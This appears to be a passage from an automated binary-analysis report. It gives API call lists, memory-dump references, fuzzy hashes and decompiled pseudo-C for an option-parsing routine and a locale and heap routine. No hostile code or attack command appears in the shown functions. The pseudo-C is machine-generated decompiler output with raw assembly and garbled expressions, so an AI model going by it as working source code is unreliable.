Part of subcall function 000641A0: Sleep.KERNEL32(00000001), ref: 00064253
Part of subcall function 000641A0: GetModuleHandleA.KERNEL32 ref: 00064276
Part of subcall function 000641A0: GetProcAddress.KERNEL32(?), ref: 0006429A

UnmapViewOfFile.KERNEL32(?,00000000,C0000000), ref: 00075592
CloseHandle.KERNEL32(?), ref: 000755AE

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000755FA
__CxxThrowException@8.LIBVCRUNTIME ref: 00075625
__CxxThrowException@8.LIBVCRUNTIME ref: 00075650
__CxxThrowException@8.LIBVCRUNTIME ref: 00075663

Part of subcall function 000557B0: FormatMessageA.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000,?,?,?,?,?,?,?,0012CEE3,000000FF), ref: 0005583B
Part of subcall function 000557B0: LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,0012CEE3,000000FF), ref: 00055852

__CxxThrowException@8.LIBVCRUNTIME ref: 0007568E

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ErrorFileHandleLast$CloseSleepSwitchThreadView$CountCurrentInfoMappingProcessSystemTickUnmapUnothrow_t@std@@@__ehfuncinfo$??2@$AddressCreateDuplicateExceptionFeatureFormatFreeLocalMessageModuleOpenPresentProcProcessorRaise___raise_securityfailure
String ID:
API String ID: 1426784756-0
Opcode ID: ed6562771c6917ad634a5e41c0b0414fcaa5ce17b75956adfffb60278d23be9a
Instruction ID: f3a40b9f9f59238d3c4154806da5ee72c8f7d9505f2dd9f25a4222b6d84583d7
Opcode Fuzzy Hash: ed6562771c6917ad634a5e41c0b0414fcaa5ce17b75956adfffb60278d23be9a
Instruction Fuzzy Hash: 23C1D070D00618DBDF24DF64CC95BEEB7B4AF15306F508199E809A7281DBB8AE84CF94

Uniqueness

Uniqueness Score: 100.00%

Function 00098B70, Relevance: 17.7, APIs: 1, Strings: 9, Instructions: 247
UNIQUE

Download Yara Rule

C-Code - Quality: 71%

			E00098B70(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr* _a8, intOrPtr* _a12, intOrPtr _a16) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v24;
				char _v28;
				char _v44;
				char _v48;
				char _v52;
				char _v68;
				char _v72;
				char _v76;
				char _v92;
				intOrPtr* _v96;
				intOrPtr* _v100;
				intOrPtr* _v104;
				char _v108;
				char _v112;
				intOrPtr* _v116;
				void* __ebp;
				signed int _t124;
				signed int _t125;
				intOrPtr* _t127;
				intOrPtr* _t132;
				void* _t168;
				void* _t172;
				intOrPtr* _t176;
				intOrPtr* _t178;
				intOrPtr* _t181;
				void* _t184;
				void* _t221;
				intOrPtr* _t223;
				intOrPtr* _t226;
				intOrPtr* _t227;
				intOrPtr _t228;
				signed int _t230;

				_t221 = __edx;
				_push(0xffffffff);
				_push(0x131c2c);
				_push( *[fs:0x0]);
				_t124 =  *0x16f170; // 0xd529e887
				_t125 = _t124 ^ _t230;
				_v20 = _t125;
				_push(_t125);
				 *[fs:0x0] =  &_v16;
				_t226 = __ecx;
				_v104 = __ecx;
				_v96 = __ecx;
				_t127 = _a4;
				_t184 = _t127;
				_t181 = _a8;
				_t223 = _a12;
				_v116 = __ecx;
				_t234 =  *((intOrPtr*)(_t127 + 0x14)) - 0x10;
				_v100 = _t127;
				if( *((intOrPtr*)(_t127 + 0x14)) >= 0x10) {
					_t184 =  *_t127;
				}
				 *_t226 = 0x13a468;
				asm("xorps xmm0, xmm0");
				_v8 = 0;
				asm("movq [eax], xmm0");
				_v112 = _t184;
				_v108 = 1;
				E001041DE( &_v112, _t226 + 4);
				 *((intOrPtr*)(_t226 + 0xc)) = _a16;
				_t132 = _t226 + 0x10;
				 *_t226 = 0x13a4a8;
				_v8 = 1;
				_v96 = _t132;
				 *_t132 = 0;
				 *((intOrPtr*)(_t132 + 4)) = 0;
				 *((intOrPtr*)(_t226 + 0x10)) = E0006B8E0();
				_t227 = _t226 + 0x18;
				_v8 = 2;
				_v96 = _t227;
				 *_t227 = 0;
				 *((intOrPtr*)(_t227 + 4)) = 0;
				 *_t227 = E00099FA0();
				_t228 = _v104;
				_v8 = 3;
				E00064B40(_t228 + 0x20, _t221, _v100);
				 *((intOrPtr*)(_t228 + 0x48)) = 0;
				 *((intOrPtr*)(_t228 + 0x4c)) = 0xf;
				 *((char*)(_t228 + 0x38)) = 0;
				_push(6);
				_v8 = 5;
				_v28 = 0;
				_v24 = 0xf;
				_v44 = 0;
				E00068B90( &_v44, _t221, _t228, "option");
				_push(0x1b);
				_v8 = 6;
				_v76 = 0;
				_v72 = 0xf;
				_v92 = 0;
				E00068B90( &_v92, _t221, _t228, "option \'%canonical_option%\'");
				_push(0x10);
				_v8 = 7;
				_v52 = 0;
				_v48 = 0xf;
				_v68 = 0;
				E00068B90( &_v68, _t221, _t228, "canonical_option");
				_v8 = 8;
				E0009AED0(_t181, _t228, _t221, _t223, _t228, _t234,  &_v68,  &_v92,  &_v44);
				E00060F60(_t181,  &_v68, _t223);
				E00060F60(_t181,  &_v92, _t223);
				_v8 = 5;
				E00060F60(_t181,  &_v44, _t223);
				_push(8);
				_v52 = 0;
				_v48 = 0xf;
				_v68 = 0;
				E00068B90( &_v68, _t221, _t228, "argument");
				_push(0x14);
				_v8 = 9;
				_v76 = 0;
				_v72 = 0xf;
				_v92 = 0;
				E00068B90( &_v92, _t221, _t228, "argument (\'%value%\')");
				_push(5);
				_v8 = 0xa;
				_v28 = 0;
				_v24 = 0xf;
				_v44 = 0;
				E00068B90( &_v44, _t221, _t228, "value");
				_v8 = 0xb;
				E0009AED0(_t181, _t228, _t221, _t223, _t228, _t234,  &_v44,  &_v92,  &_v68);
				E00060F60(_t181,  &_v44, _t223);
				E00060F60(_t181,  &_v92, _t223);
				_v8 = 5;
				E00060F60(_t181,  &_v68, _t223);
				_push(0);
				_v52 = 0;
				_v48 = 0xf;
				_v68 = 0;
				E00068B90( &_v68, _t221, _t228, 0x15063e);
				_push(8);
				_v8 = 0xc;
				_v76 = 0;
				_v72 = 0xf;
				_v92 = 0;
				E00068B90( &_v92, _t221, _t228, "%prefix%");
				_push(6);
				_v8 = 0xd;
				_v28 = 0;
				_v24 = 0xf;
				_v44 = 0;
				E00068B90( &_v44, _t221, _t228, "prefix");
				_v8 = 0xe;
				E0009AED0(_t181, _t228, _t221, _t223, _t228, _t234,  &_v44,  &_v92,  &_v68);
				E00060F60(_t181,  &_v44, _t223);
				E00060F60(_t181,  &_v92, _t223);
				_v8 = 5;
				E00060F60(_t181,  &_v68, _t223);
				_push(6);
				_v28 = 0;
				_v24 = 0xf;
				_v44 = 0;
				E00068B90( &_v44, _t221, _t228, "option");
				_v8 = 0xf;
				_t168 = E000997F0( &_v44);
				_t211 = _t168;
				if(_t168 != _t181) {
					_t178 = _t181;
					if( *((intOrPtr*)(_t181 + 0x14)) >= 0x10) {
						_t178 =  *_t181;
					}
					_push( *((intOrPtr*)(_t181 + 0x10)));
					E00068B90(_t211, _t221, _t228, _t178);
				}
				_v8 = 5;
				E00060F60(_t181,  &_v44, _t223);
				_push(0xe);
				_v28 = 0;
				_v24 = 0xf;
				_v44 = 0;
				E00068B90( &_v44, _t221, _t228, "original_token");
				_v8 = 0x10;
				_t172 = E000997F0( &_v44);
				_t215 = _t172;
				if(_t172 != _t223) {
					_t176 = _t223;
					if( *((intOrPtr*)(_t223 + 0x14)) >= 0x10) {
						_t176 =  *_t223;
					}
					_push( *((intOrPtr*)(_t223 + 0x10)));
					E00068B90(_t215, _t221, _t228, _t176);
				}
				E00060F60(_t181,  &_v44, _t223);
				 *[fs:0x0] = _v16;
				return E000ECED8(_v20 ^ _t230);
			}

0x00098b70
0x00098b73
0x00098b75
0x00098b80
0x00098b84
0x00098b89
0x00098b8b
0x00098b91
0x00098b95
0x00098b9b
0x00098b9d
0x00098ba0
0x00098ba3
0x00098ba6
0x00098ba8
0x00098bab
0x00098bae
0x00098bb1
0x00098bb5
0x00098bb8
0x00098bba
0x00098bba
0x00098bbf
0x00098bc5
0x00098bc8
0x00098bd0
0x00098bd8
0x00098bdb
0x00098bdf
0x00098bea
0x00098bed
0x00098bf0
0x00098bf8
0x00098bff
0x00098c02
0x00098c08
0x00098c14
0x00098c17
0x00098c1a
0x00098c20
0x00098c23
0x00098c29
0x00098c35
0x00098c37
0x00098c3d
0x00098c44
0x00098c49
0x00098c50
0x00098c57
0x00098c5b
0x00098c65
0x00098c69
0x00098c70
0x00098c77
0x00098c7b
0x00098c80
0x00098c8a
0x00098c8e
0x00098c95
0x00098c9c
0x00098ca0
0x00098ca5
0x00098caf
0x00098cb3
0x00098cba
0x00098cc1
0x00098cc5
0x00098ccd
0x00098cdc
0x00098ce4
0x00098cec
0x00098cf4
0x00098cf8
0x00098cfd
0x00098d07
0x00098d0e
0x00098d15
0x00098d19
0x00098d1e
0x00098d28
0x00098d2c
0x00098d33
0x00098d3a
0x00098d3e
0x00098d43
0x00098d4d
0x00098d51
0x00098d58
0x00098d5f
0x00098d63
0x00098d6b
0x00098d7a
0x00098d82
0x00098d8a
0x00098d92
0x00098d96
0x00098d9b
0x00098da5
0x00098dac
0x00098db3
0x00098db7
0x00098dbc
0x00098dc6
0x00098dca
0x00098dd1
0x00098dd8
0x00098ddc
0x00098de1
0x00098deb
0x00098def
0x00098df6
0x00098dfd
0x00098e01
0x00098e09
0x00098e18
0x00098e20
0x00098e28
0x00098e30
0x00098e34
0x00098e39
0x00098e43
0x00098e4a
0x00098e51
0x00098e55
0x00098e5d
0x00098e65
0x00098e6a
0x00098e6e
0x00098e74
0x00098e76
0x00098e78
0x00098e78
0x00098e7a
0x00098e7e
0x00098e7e
0x00098e86
0x00098e8a
0x00098e8f
0x00098e99
0x00098ea0
0x00098ea7
0x00098eab
0x00098eb3
0x00098ebb
0x00098ec0
0x00098ec4
0x00098eca
0x00098ecc
0x00098ece
0x00098ece
0x00098ed0
0x00098ed4
0x00098ed4
0x00098edc
0x00098ee6
0x00098efe

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00098BDF

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

%prefix%, xrefs: 00098DBE
prefix, xrefs: 00098DE3
option, xrefs: 00098C5D, 00098E3B
value, xrefs: 00098D45
argument, xrefs: 00098CFF
option '%canonical_option%', xrefs: 00098C82
canonical_option, xrefs: 00098CA7
argument ('%value%'), xrefs: 00098D20
original_token, xrefs: 00098E91

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure___std_exception_copy
String ID: %prefix%$argument$argument ('%value%')$canonical_option$option$option '%canonical_option%'$original_token$prefix$value
API String ID: 3590268918-3148373165
Opcode ID: 7ca69ebe77fda48cbc26c9305b0c66da4c6e4b2386fe7ba10e0324a4c606410d
Instruction ID: 42192baf227454e3ef9146b7172ace37cabd763a5dd7c14589ee2e224d6596fc
Opcode Fuzzy Hash: 7ca69ebe77fda48cbc26c9305b0c66da4c6e4b2386fe7ba10e0324a4c606410d
Instruction Fuzzy Hash: 96B148B0904388DBEF10EFE4C895BDEBFB5AF19314F144058E5457B282DBB56A48CBA1

Uniqueness

Uniqueness Score: 100.00%

Function 00072FE0, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 140
UNIQUE

Download Yara Rule

C-Code - Quality: 57%

			E00072FE0(char __ecx, void* __edx, char _a8) {
				signed int* _v0;
				intOrPtr _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				signed char** _v28;
				char _v32;
				char _v36;
				char _v72;
				signed int _v84;
				signed char** _v112;
				void* __ebx;
				void* __ebp;
				signed int _t173;
				char _t181;
				signed int _t187;
				signed int _t194;
				signed int _t203;
				void* _t207;
				intOrPtr* _t218;
				signed int _t225;
				char* _t248;
				signed int _t250;
				signed int _t252;
				signed int _t261;
				intOrPtr* _t271;
				char _t279;
				char _t281;
				signed int _t285;
				char _t286;
				char _t288;
				signed int _t289;
				signed int* _t291;
				char* _t293;
				signed int* _t294;
				signed char** _t295;
				signed int* _t297;
				char* _t298;
				char* _t299;
				char* _t304;
				signed char** _t305;
				signed int _t306;
				char* _t311;
				char _t315;
				char* _t318;
				void* _t321;
				char _t334;
				signed int _t340;
				char _t344;
				signed int _t356;
				void* _t357;
				char* _t366;
				signed int _t377;
				void* _t379;
				void* _t381;
				signed char** _t382;
				intOrPtr _t389;
				unsigned int _t391;
				char* _t402;
				void* _t414;
				char _t420;
				char _t424;
				signed int _t430;
				signed int _t431;
				char _t432;
				char _t436;
				signed char** _t442;
				intOrPtr _t445;
				intOrPtr _t446;
				char* _t448;
				void* _t450;
				signed int _t453;
				char* _t454;
				char* _t455;
				void* _t461;
				char* _t465;
				char _t466;
				signed int* _t467;
				signed char** _t472;
				char* _t473;
				signed char** _t474;
				char* _t476;
				char* _t485;
				signed int* _t488;
				char _t492;
				char _t496;
				signed char*** _t497;
				void* _t503;
				char _t504;
				void* _t505;
				void* _t506;
				signed int* _t507;
				void* _t508;

				_push(0xffffffff);
				_push(0x12f4e0);
				_push( *[fs:0x0]);
				_t504 = _t503 - 0x38;
				_t173 =  *0x16f170; // 0xd529e887
				_push(_t173 ^ _t501);
				 *[fs:0x0] =  &_v16;
				_v20 = _t504;
				_t288 = __ecx;
				_v24 = __ecx;
				_t472 = E0010F792(__ecx, __edx);
				_v28 = _t472;
				E000DA744(__ecx, __edx, _t508,  &_v72);
				 *((intOrPtr*)(_t288 + 8)) = 0;
				 *((intOrPtr*)(_t288 + 0x10)) = 0;
				 *((intOrPtr*)(_t288 + 0x14)) = 0;
				_v8 = 0;
				E000DA744(_t288, __edx, _t508,  &_v72);
				_t505 = _t504 + 8;
				if(_a8 == 0) {
					_t473 =  *(_t472 + 8);
				} else {
					_t473 = 0x15063e;
				}
				_t448 = _t473;
				_t13 =  &(_t448[1]); // 0x15063f
				_t304 = _t13;
				do {
					_t181 =  *_t448;
					_t448 =  &(_t448[1]);
				} while (_t181 != 0);
				_t450 = _t448 - _t304 + 1;
				_push(1);
				_push(_t450);
				_t389 = E0010D6AB(_t304);
				_t506 = _t505 + 8;
				if(_t389 == 0) {
					E000D9BDB(__eflags);
					goto L19;
				} else {
					if(_t450 != 0) {
						_t304 = _t389 - _t473;
						do {
							_t286 =  *_t473;
							_t14 =  &(_t473[1]); // 0x203a00
							_t473 = _t14;
							_t304[_t473 - 1] = _t286;
							_t450 = _t450 - 1;
						} while (_t450 != 0);
					}
					_t450 = 6;
					 *((intOrPtr*)(_t288 + 8)) = _t389;
					_push(1);
					_push(6);
					_t473 = "false";
					_t445 = E0010D6AB(_t304);
					_t506 = _t506 + 8;
					if(_t445 == 0) {
						L19:
						E000D9BDB(__eflags);
						goto L20;
					} else {
						_t379 = _t445 - _t473;
						do {
							_t279 =  *_t473;
							_t473 =  &(_t473[1]);
							 *((char*)(_t379 + _t473 - 1)) = _t279;
							_t450 = _t450 - 1;
						} while (_t450 != 0);
						_t450 = 5;
						 *((intOrPtr*)(_t288 + 0x10)) = _t445;
						_push(1);
						_push(5);
						_t473 = "true";
						_t446 = E0010D6AB(_t379);
						_t506 = _t506 + 8;
						if(_t446 == 0) {
							L20:
							E000D9BDB(__eflags);
							_t305 = _v24;
							E0006B2E0(_t305);
							_t187 = E001047B7(0, 0);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_t507 = _t506 - 0x20;
							_push(_t288);
							_t289 = _v84;
							_push(_t473);
							_t474 = _t305;
							_v112 = _t474;
							_push(_t450);
							__eflags = _t289;
							if(_t289 != 0) {
								_t291 = _t289 + 0xfffffff8;
								 *((intOrPtr*)(_t474 + 0x18)) =  *((intOrPtr*)(_t474 + 0x18)) - ( *(_t289 - 4) << 3);
								_v0 = _t291;
								_t306 = _t291[1];
								_t391 =  *(_t291 + 4 + _t306 * 8) >> 0x1f;
								_v32 = _t291 + _t306 * 8;
								_t453 = _t306 & 0x40000000;
								__eflags = _t453;
								if(_t453 == 0) {
									_t291 = _t291 - ( *_t291 << 3);
									_v0 = _t291;
									_t291[1] = (_t306 + _t291[1] ^ _t291[1]) & 0x3fffffff ^ _t291[1];
									__eflags = _t391;
									if(_t391 == 0) {
										goto L26;
									}
									goto L30;
								} else {
									__eflags = _t391;
									if(_t391 == 0) {
										L26:
										_t432 = _v32;
										_t252 = _t432 + 8;
										_t291[1] = ( *((intOrPtr*)(_t432 + 4)) + _t291[1] ^ _t291[1]) & 0x3fffffff ^ _t291[1];
										_t366 =  &_v32;
										__eflags = _t252;
										_t435 =  ==  ? 1 : _t252 - _t366;
										_t297 = _v0;
										_t73 = _t435 - 1; // -1
										asm("sbb ecx, ecx");
										_t436 = ( ==  ? 1 : _t252 - _t366) + ( ~_t73 & _t366 -  &_v24);
										_v24 = _t436;
										__eflags = _t453;
										if(__eflags != 0) {
											_t83 = _t436 - 1; // -1
											_t298 =  &_v32;
											asm("sbb esi, esi");
											_t467 = _t507;
											_t492 = ( ~_t83 &  &_v24 - _t298) + _t436;
											_v32 = _t492;
											_t86 = _t492 - 1; // -2
											asm("sbb edx, edx");
											_t261 = (_t298 - _t467 &  ~_t86) + _t492;
											__eflags = _t261;
											 *_t467 = _t261;
											E00077440(_t474 + 8, _t474 + 8, _t297);
										} else {
											_t77 = _t436 - 1; // -1
											_t299 =  &_v32;
											asm("sbb esi, esi");
											_t496 = ( ~_t77 &  &_v24 - _t299) + _t436;
											_v32 = _t496;
											_t80 = _t496 - 1; // -2
											asm("sbb edx, edx");
											 *_t507 = (_t299 - _t507 &  ~_t80) + _t496;
											E00077660(_t474 + 4, __eflags,  &_v36, _t474 + 4);
										}
										_t474 = _v28;
										_t291 = _v0;
										L30:
										_t194 =  &(_t291[2]);
										_t311 =  &_v32;
										_t454 =  &_v20;
										__eflags = _t194;
										_t92 = ( ==  ? 1 : _t194 - _t311) - 1; // -1
										asm("sbb ecx, ecx");
										_t315 = ( ~_t92 & _t311 - _t454) + ( ==  ? 1 : _t194 - _t311);
										_t455 =  &_v32;
										_v20 = _t315;
										_t95 = _t315 - 1; // -2
										asm("sbb edx, edx");
										_t97 = ( ~_t95 & _t454 - _t455) + _t315 - 1; // -3
										asm("sbb ecx, ecx");
										_t318 =  &_v32;
										_v12 = (_t455 -  &_v12 &  ~_t97) + ( ~_t95 & _t454 - _t455) + _t315;
										_t203 = _t474 + 8;
										_t476 =  &_v32;
										__eflags = _t203;
										_t102 = ( ==  ? 1 : _t203 - _t318) - 1; // -1
										asm("sbb ecx, ecx");
										_t207 = (_t318 - _t476 &  ~_t102) + ( ==  ? 1 : _t203 - _t318);
										__eflags = _t207 - 1;
										if(_t207 == 1) {
											_t402 =  &_v36;
											_t321 = 1;
										} else {
											_t402 =  &_v32;
											_t250 = _t207 + _t476;
											__eflags = _t250;
											_t321 =  ==  ? 1 : _t250 - _t402;
										}
										_t105 = _t321 - 1; // 0x0
										asm("sbb eax, eax");
										asm("sbb ecx, ecx");
										asm("sbb ecx, ecx");
										asm("sbb ecx, ecx");
										_v16 = ( &_v32 -  &_v16 &  ~((_t402 -  &_v32 &  ~_t105) + _t321 + ( ~((_t402 -  &_v32 &  ~_t105) + _t321 - 1) &  &_v32 -  &_v32) + ( ~((_t402 -  &_v32 &  ~_t105) + _t321 + ( ~((_t402 -  &_v32 &  ~_t105) + _t321 - 1) &  &_v32 -  &_v32) - 1) &  &_v32 -  &_v32) - 1)) + (_t402 -  &_v32 &  ~_t105) + _t321 + ( ~((_t402 -  &_v32 &  ~_t105) + _t321 - 1) &  &_v32 -  &_v32) + ( ~((_t402 -  &_v32 &  ~_t105) + _t321 + ( ~((_t402 -  &_v32 &  ~_t105) + _t321 - 1) &  &_v32 -  &_v32) - 1) &  &_v32 -  &_v32);
										_t218 = E00078190( &_v36,  &_v12);
										_t293 =  &_v32;
										asm("sbb ecx, ecx");
										_t334 = ( ~( *_t218 - 1) & _t218 -  &_v12) +  *_t218;
										_v12 = _t334;
										asm("sbb edx, edx");
										asm("sbb edi, edi");
										_t414 = ( &_v16 -  &_v32 &  ~(_v16 - 1)) + _v16;
										_t461 = ( ~(_t334 - 1) &  &_v12 - _t293) + _t334;
										asm("sbb edx, edx");
										_t294 = _v0;
										asm("sbb edi, edi");
										__eflags = ( ~(_t461 - 1) & _t293 + _t461) - ( ~(_t414 - 1) &  &_v32 + _t414);
										if(( ~(_t461 - 1) & _t293 + _t461) != ( ~(_t414 - 1) &  &_v32 + _t414)) {
											_t485 =  &_v24;
											asm("sbb ecx, ecx");
											asm("sbb ecx, ecx");
											_t340 =  ~( ~(_t334 - 1) &  &_v12 + _t334) & ( ~(_t334 - 1) &  &_v12 + _t334) - 0x00000008;
											__eflags = _t340;
											_t420 =  ==  ? 1 : _t340 -  &_v32;
											_v32 = _t420;
											asm("sbb ecx, ecx");
											_t344 = ( ~(_t420 - 1) &  &_v32 - _t485) + _t420;
											_v24 = _t344;
											asm("sbb ecx, ecx");
											_t349 =  *(( ~(_t344 - 1) & _t485 + _t344) + 4) & 0x3fffffff;
											__eflags = (_t294[1] & 0x3fffffff) - ( *(( ~(_t344 - 1) & _t485 + _t344) + 4) & 0x3fffffff);
											if(__eflags > 0) {
												_t465 =  &_v32;
												_t295 = _v28;
												asm("sbb edx, edx");
												_t424 = ( ~(_v20 - 1) &  &_v20 - _t465) + _v20;
												_v32 = _t424;
												asm("sbb ecx, ecx");
												 *_t507 = (_t465 - _t507 &  ~(_t424 - 1)) + _t424;
												E00077660(_t295 + 4, __eflags,  &_v36, _t349);
												_push(_v0);
												_t356 =  &_v16 -  &_v32;
												_push(_t356);
												asm("sbb edx, edx");
												_t488 = _t507;
												_t357 = _t295 + 4;
												_t466 = ( ~(_v16 - 1) & _t356) + _v16;
												_v32 = _t466;
												asm("sbb edx, edx");
												_t430 =  ~(_t466 - 1) &  &_v32 - _t488;
												__eflags = _t430;
												_t248 =  &_v36;
												goto L36;
											}
										}
									} else {
										_t271 = E000775E0(_t474 + 8,  &_v32);
										_push(_v0);
										_t497 =  &_v28;
										asm("sbb ecx, ecx");
										_t442 =  *_t271 + (_t271 - _t497 &  ~( *_t271 - 1));
										_v28 = _t442;
										asm("sbb ecx, ecx");
										_t377 =  ~(_t442 - 1) & _t497 -  &_v24;
										_push(_t377);
										_t488 = _t507;
										_t466 = _t377 + _t442;
										_t357 = _t474 + 4;
										_t59 = _t466 - 1; // 0x0
										_v24 = _t466;
										asm("sbb edx, edx");
										_t430 =  ~_t59 &  &_v24 - _t488;
										_t248 =  &_v20;
										L36:
										_t431 = _t430 + _t466;
										__eflags = _t431;
										_push(_t248);
										 *_t488 = _t431;
										E00078040(_t357);
										_t294 = _v0;
									}
								}
								_t294[1] = _t294[1] & 0x7fffffff;
								_t225 = _t294[1];
								 *(_t294 + 4 + _t225 * 8) =  *(_t294 + 4 + _t225 * 8) & 0xbfffffff;
								_t187 = _t294[1] & 0x3fffffff;
								__eflags = _t187;
								 *(_t294 + _t225 * 8) = _t187;
							}
							return _t187;
						} else {
							_t381 = _t446 - _t473;
							do {
								_t281 =  *_t473;
								_t473 =  &(_t473[1]);
								 *((char*)(_t381 + _t473 - 1)) = _t281;
								_t450 = _t450 - 1;
							} while (_t450 != 0);
							 *((intOrPtr*)(_t288 + 0x14)) = _t446;
							if(_a8 == 0) {
								_t382 = _v28;
								 *((char*)(_t288 + 0xc)) =  *( *_t382) & 0x000000ff;
								_t285 =  *(_t382[1]) & 0x000000ff;
								 *(_t288 + 0xd) = _t285;
								 *[fs:0x0] = _v16;
								return _t285;
							} else {
								 *((short*)(_t288 + 0xc)) = 0x2c2e;
								 *[fs:0x0] = _v16;
								return _t281;
							}
						}
					}
				}
			}

0x00072fe3
0x00072fe5
0x00072ff0
0x00072ff1
0x00072ff7
0x00072ffe
0x00073002
0x00073008
0x0007300b
0x0007300d
0x00073015
0x0007301b
0x0007301e
0x00073026
0x0007302e
0x00073035
0x0007303c
0x00073043
0x00073048
0x0007304f
0x00073058
0x00073051
0x00073051
0x00073051
0x0007305b
0x0007305d
0x0007305d
0x00073060
0x00073060
0x00073062
0x00073063
0x00073069
0x0007306a
0x0007306c
0x00073072
0x00073074
0x00073079
0x00073149
0x00000000
0x0007307f
0x00073081
0x00073085
0x00073087
0x00073087
0x00073089
0x00073089
0x0007308c
0x00073090
0x00073090
0x00073087
0x00073095
0x0007309a
0x0007309d
0x0007309f
0x000730a0
0x000730aa
0x000730ac
0x000730b1
0x0007314e
0x0007314e
0x00000000
0x000730b7
0x000730b9
0x000730c0
0x000730c0
0x000730c2
0x000730c5
0x000730c9
0x000730c9
0x000730ce
0x000730d3
0x000730d6
0x000730d8
0x000730d9
0x000730e3
0x000730e5
0x000730ea
0x00073153
0x00073153
0x00073158
0x0007315b
0x00073164
0x00073169
0x0007316a
0x0007316b
0x0007316c
0x0007316d
0x0007316e
0x0007316f
0x00073173
0x00073176
0x00073177
0x0007317a
0x0007317b
0x0007317d
0x00073180
0x00073181
0x00073183
0x0007318c
0x00073192
0x00073195
0x00073198
0x000731a4
0x000731a7
0x000731aa
0x000731aa
0x000731b0
0x00073213
0x00073215
0x00073227
0x0007322a
0x0007322c
0x00000000
0x00000000
0x00000000
0x000731b2
0x000731b2
0x000731b4
0x00073232
0x00073232
0x00073247
0x0007324a
0x0007324f
0x00073257
0x0007325e
0x00073265
0x00073268
0x0007326d
0x00073274
0x00073276
0x00073279
0x0007327b
0x000732b6
0x000732b9
0x000732c1
0x000732c3
0x000732c9
0x000732cb
0x000732ce
0x000732d3
0x000732d9
0x000732d9
0x000732db
0x000732dd
0x0007327d
0x00073280
0x00073283
0x0007328b
0x00073293
0x00073295
0x00073298
0x0007329d
0x000732a5
0x000732ab
0x000732ab
0x000732e2
0x000732e5
0x000732e8
0x000732e8
0x000732f2
0x000732f7
0x000732fa
0x00073303
0x00073308
0x0007330e
0x00073310
0x00073315
0x00073318
0x0007331d
0x0007332a
0x0007332f
0x00073333
0x00073338
0x0007333b
0x00073340
0x00073345
0x0007334e
0x00073353
0x00073357
0x00073359
0x0007335b
0x0007336f
0x00073372
0x0007335d
0x0007335f
0x00073362
0x00073368
0x0007336a
0x0007336a
0x00073374
0x0007337e
0x00073390
0x000733a2
0x000733b4
0x000733c0
0x000733c3
0x000733ce
0x000733d8
0x000733e4
0x000733e6
0x000733ee
0x000733fe
0x00073402
0x00073405
0x0007340f
0x00073415
0x0007341d
0x00073421
0x00073423
0x0007342e
0x00073434
0x0007343d
0x0007343f
0x00073448
0x0007344f
0x00073457
0x0007345f
0x00073465
0x00073469
0x0007346f
0x0007347e
0x00073484
0x00073486
0x0007348b
0x0007348f
0x0007349e
0x000734a2
0x000734a6
0x000734ae
0x000734b9
0x000734bf
0x000734ca
0x000734d0
0x000734d7
0x000734d8
0x000734da
0x000734de
0x000734e1
0x000734e7
0x000734ef
0x000734f3
0x000734f3
0x000734f5
0x00000000
0x000734f5
0x00073486
0x000731b6
0x000731c0
0x000731c5
0x000731c8
0x000731d2
0x000731d8
0x000731df
0x000731e9
0x000731eb
0x000731f0
0x000731f1
0x000731f3
0x000731f6
0x000731f8
0x000731fb
0x00073200
0x00073204
0x00073206
0x000734f8
0x000734f8
0x000734f8
0x000734fa
0x000734fb
0x000734fd
0x00073502
0x00073502
0x000731b4
0x00073505
0x0007350c
0x0007350f
0x0007351d
0x0007351d
0x00073522
0x00073522
0x0007352a
0x000730ec
0x000730ee
0x000730f0
0x000730f0
0x000730f2
0x000730f5
0x000730f9
0x000730f9
0x00073102
0x00073105
0x00073121
0x00073129
0x0007312f
0x00073132
0x00073138
0x00073146
0x00073107
0x00073107
0x00073110
0x0007311e
0x0007311e
0x00073105
0x000730ea
0x000730b1

APIs

__Getcvt.LIBCPMT ref: 0007301E
__Getcvt.LIBCPMT ref: 00073043
Concurrency::cancel_current_task.LIBCPMT ref: 00073149

Part of subcall function 000D9BDB: __CxxThrowException@8.LIBVCRUNTIME ref: 000D9BF2

Concurrency::cancel_current_task.LIBCPMT ref: 0007314E
Concurrency::cancel_current_task.LIBCPMT ref: 00073153
numpunct.LIBCPMT ref: 0007315B
__CxxThrowException@8.LIBVCRUNTIME ref: 00073164

